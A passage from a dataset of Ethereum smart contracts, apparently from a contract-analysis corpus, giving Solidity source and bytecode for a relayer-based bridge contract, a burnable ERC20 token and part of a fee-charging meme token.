operator = msg.sender;
tax = _tax;
relayer = _relayer;
}
function transferOperator(address newOperator) public returns(bool){
require(msg.sender==operator,"only owner can call this function");
operator = newOperator;
return true;
}
function updateRelayer(address newRelayer) public returns(bool) {
require(msg.sender==operator,"only owner can call this function");
relayer = newRelayer;
return true;
}
function updateTax(uint256 newTax) public returns(bool) {
require(msg.sender==operator,"only owner can call this function");
tax = newTax;
return true;
}
function updateMinAmount(uint256 newMinAmount) public returns(bool) {
require(msg.sender==operator,"only owner can call this function");
minAmount = newMinAmount;
return true;
}
function deposit(address to, uint amount, uint nonce, bytes calldata signature) external payable {
require(msg.value>=minAmount,"insufficient amount");
require(processedNonces[msg.sender][nonce] == false, 'transfer already processed');
require(msg.value>=amount,"insufficient amount");
processedNonces[msg.sender][nonce] = true;
emit Transfer(
msg.sender,
to,
amount,
block.timestamp,
nonce,
signature,
State.Deposit
);
}
function processedNonceses(address[] memory addresses,uint256[] memory nonces) public view returns(bool[] memory){
bool[] memory toReturn = new bool[](addresses.length);
if(addresses.length==nonces.length){
for(uint256 i=0;i<nonces.length;i++){
toReturn[i]= processedNonces[addresses[i]][nonces[i]];
}
}
return toReturn;
}
function withdraw(
address from,
address payable to,
uint256 amount,
uint nonce,
bytes calldata signature,
uint256 _gas
) external {
require(msg.sender==relayer,"Only relayer can call this function");
uint256 _tax = amount.mul(tax).div(10000);
require((amount.sub(_tax).sub(_gas))>0,"wrong amount");
require(processedNonces[from][nonce] == false, 'transfer already processed');
bytes32 message = prefixed(keccak256(abi.encodePacked(
from,
to,
amount,
nonce
)));
require(recoverSigner(message, signature) == from , 'wrong signature');
require(address(this).balance>amount,"insufficient balance");
processedNonces[from][nonce] = true;
to.transfer(amount.sub(_tax).sub(_gas));
emit Transfer(
from,
to,
amount,
block.timestamp,
nonce,
signature,
State.Withdraw
);
}
function addFunds() public payable {}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(
'\x19Ethereum Signed Message:\n32',
hash
));
}
function recoverSigner(bytes32 message, bytes memory sig)
internal
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function splitSignature(bytes memory sig)
internal
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
} | 0x6080604052600436106100c25760003560e01c806399c8d5561161007f5780639e48ff5a116100595780639e48ff5a14610238578063a26759cb14610236578063cca0feb61461024b578063ff897dbd1461026b57600080fd5b806399c8d556146101dc5780639b2cb5d8146102005780639dccbc571461021657600080fd5b806329605e77146100c757806335542c48146100fc578063570ca735146101295780637cc70240146101615780638406c0791461019c5780638f83ab13146101bc575b600080fd5b3480156100d357600080fd5b506100e76100e2366004610bdf565b61028b565b60405190151581526020015b60405180910390f35b34801561010857600080fd5b5061011c610117366004610cd2565b6102e7565b6040516100f39190610d94565b34801561013557600080fd5b50600254610149906001600160a01b031681565b6040516001600160a01b0390911681526020016100f3565b34801561016d57600080fd5b506100e761017c366004610dda565b600460209081526000928352604080842090915290825290205460ff1681565b3480156101a857600080fd5b50600154610149906001600160a01b031681565b3480156101c857600080fd5b506100e76101d7366004610bdf565b6103fc565b3480156101e857600080fd5b506101f260005481565b6040519081526020016100f3565b34801561020c57600080fd5b506101f260035481565b34801561022257600080fd5b50610236610231366004610e4f565b61044d565b005b610236610246366004610ed4565b6107da565b34801561025757600080fd5b506100e7610266366004610f3e565b610942565b34801561027757600080fd5b506100e7610286366004610f3e565b610978565b6002546000906001600160a01b031633146102c15760405162461bcd60e51b81526004016102b890610f57565b60405180910390fd5b50600280546001600160a01b0319166001600160a01b0392909216919091179055600190565b60606000835167ffffffffffffffff81111561030557610305610bfc565b60405190808252806020026020018201604052801561032e578160200160208202803683370190505b5090508251845114156103f35760005b83518110156103f1576004600086838151811061035d5761035d610f98565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600085838151811061039957610399610f98565b6020026020010151815260200190815260200160002060009054906101000a900460ff168282815181106103cf576103cf610f98565b91151560209283029190910190910152806103e981610fc4565b91505061033e565b505b90505b92915050565b6002546000906001600160a01b031633146104295760405162461bcd60e51b81526004016102b890610f57565b50600180546001600160a01b0319166001600160a01b039290921691909117815590565b6001546001600160a01b031633146104b35760405162461bcd60e51b815260206004820152602360248201527f4f6e6c792072656c617965722063616e2063616c6c20746869732066756e637460448201526234b7b760e91b60648201526084016102b8565b60006104d66127106104d0600054896109ae90919063ffffffff16565b90610a2d565b905060006104ee836104e88985610a6f565b90610a6f565b1161052a5760405162461bcd60e51b815260206004820152600c60248201526b1ddc9bdb99c8185b5bdd5b9d60a21b60448201526064016102b8565b6001600160a01b038816600090815260046020908152604080832088845290915290205460ff161561059e5760405162461bcd60e51b815260206004820152601a60248201527f7472616e7366657220616c72656164792070726f63657373656400000000000060448201526064016102b8565b6040516bffffffffffffffffffffffff1960608a811b8216602084015289901b166034820152604881018790526068810186905260009061064590608801604051602081830303815290604052805190602001206040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b9050886001600160a01b03166106918287878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610ab192505050565b6001600160a01b0316146106d95760405162461bcd60e51b815260206004820152600f60248201526e77726f6e67207369676e617475726560881b60448201526064016102b8565b86471161071f5760405162461bcd60e51b8152602060048201526014602482015273696e73756666696369656e742062616c616e636560601b60448201526064016102b8565b6001600160a01b03808a1660009081526004602090815260408083208a84529091529020805460ff1916600117905588166108fc610761856104e88b87610a6f565b6040518115909202916000818181858888f19350505050158015610789573d6000803e3d6000fd5b5060017fce5a9b86edd3b998c3948a7934c7ecf7dba73c4c5bcf56cf576bca4aa2beeb308a8a8a428b8b8b6040516107c79796959493929190611008565b60405180910390a2505050505050505050565b6003543410156108225760405162461bcd60e51b81526020600482015260136024820152721a5b9cdd59999a58da595b9d08185b5bdd5b9d606a1b60448201526064016102b8565b33600090815260046020908152604080832086845290915290205460ff161561088d5760405162461bcd60e51b815260206004820152601a60248201527f7472616e7366657220616c72656164792070726f63657373656400000000000060448201526064016102b8565b833410156108d35760405162461bcd60e51b81526020600482015260136024820152721a5b9cdd59999a58da595b9d08185b5bdd5b9d606a1b60448201526064016102b8565b3360009081526004602090815260408083208684529091528120805460ff191660011790557fce5a9b86edd3b998c3948a7934c7ecf7dba73c4c5bcf56cf576bca4aa2beeb30338787428888886040516109339796959493929190611008565b60405180910390a25050505050565b6002546000906001600160a01b0316331461096f5760405162461bcd60e51b81526004016102b890610f57565b50600055600190565b6002546000906001600160a01b031633146109a55760405162461bcd60e51b81526004016102b890610f57565b50600355600190565b6000826109bd575060006103f6565b60006109c98385611053565b9050826109d68583611072565b146103f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102b8565b60006103f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b30565b60006103f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b67565b600080600080610ac085610b98565b6040805160008152602081018083528b905260ff8516918101919091526060810183905260808101829052929550909350915060019060a0016020604051602081039080840390855afa158015610b1b573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b60008183610b515760405162461bcd60e51b81526004016102b89190611094565b506000610b5e8486611072565b95945050505050565b60008184841115610b8b5760405162461bcd60e51b81526004016102b89190611094565b506000610b5e84866110e9565b60008060008351604114610bab57600080fd5b5050506020810151604082015160609092015160001a92909190565b6001600160a01b0381168114610bdc57600080fd5b50565b600060208284031215610bf157600080fd5b81356103f381610bc7565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c3b57610c3b610bfc565b604052919050565b600067ffffffffffffffff821115610c5d57610c5d610bfc565b5060051b60200190565b600082601f830112610c7857600080fd5b81356020610c8d610c8883610c43565b610c12565b82815260059290921b84018101918181019086841115610cac57600080fd5b8286015b84811015610cc75780358352918301918301610cb0565b509695505050505050565b60008060408385031215610ce557600080fd5b823567ffffffffffffffff80821115610cfd57600080fd5b818501915085601f830112610d1157600080fd5b81356020610d21610c8883610c43565b82815260059290921b84018101918181019089841115610d4057600080fd5b948201945b83861015610d67578535610d5881610bc7565b82529482019490820190610d45565b96505086013592505080821115610d7d57600080fd5b50610d8a85828601610c67565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b81811015610dce578351151583529284019291840191600101610db0565b50909695505050505050565b60008060408385031215610ded57600080fd5b8235610df881610bc7565b946020939093013593505050565b60008083601f840112610e1857600080fd5b50813567ffffffffffffffff811115610e3057600080fd5b602083019150836020828501011115610e4857600080fd5b9250929050565b600080600080600080600060c0888a031215610e6a57600080fd5b8735610e7581610bc7565b96506020880135610e8581610bc7565b95506040880135945060608801359350608088013567ffffffffffffffff811115610eaf57600080fd5b610ebb8a828b01610e06565b989b979a5095989497959660a090950135949350505050565b600080600080600060808688031215610eec57600080fd5b8535610ef781610bc7565b94506020860135935060408601359250606086013567ffffffffffffffff811115610f2157600080fd5b610f2d88828901610e06565b969995985093965092949392505050565b600060208284031215610f5057600080fd5b5035919050565b60208082526021908201527f6f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610fd857610fd8610fae565b5060010190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b600060018060a01b03808a16835280891660208401525086604083015285606083015284608083015260c060a083015261104660c083018486610fdf565b9998505050505050505050565b600081600019048311821515161561106d5761106d610fae565b500290565b60008261108f57634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156110c1578581018301518582016040015282016110a5565b818111156110d3576000604083870101525b50601f01601f1916929092016040019392505050565b6000828210156110fb576110fb610fae565b50039056fea2646970667358221220f5611d3dd8126c912941bbb77810a4b5205615ca4ace13006c8de9a6baf5105064736f6c634300080c0033 | {"success": true, "error": null, "results": {}} | 10,126 |
0x87de6e930f4f3889c02107881f3ebb42904e271f | // SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'EIEN' contract
//
// Symbol : EIN
// Name : EIEN
// Total supply: 550 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract EIEN is BurnableToken {
string public constant name = "EIEN";
string public constant symbol = "EIN";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 550000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600481526020017f4549454e0000000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6320c855800281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f45494e000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220bc020402b025447bf4abf4eb585bd468486eddde0557ab5ff4b298ad320fbddf64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,127 |
0xa35267c6dca00574241de35b1a5a39f40167feef | // Shiba Bucks (SHIBUCKS)
//Limit Buy yes
//Cooldown yes
//Bot Protect yes
//Deflationary yes
//Fee yes
//Liqudity dev provides and lock
//TG: https://t.me/shibabucks
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaBucks is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hyperberry";
string private constant _symbol = "Hyper";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
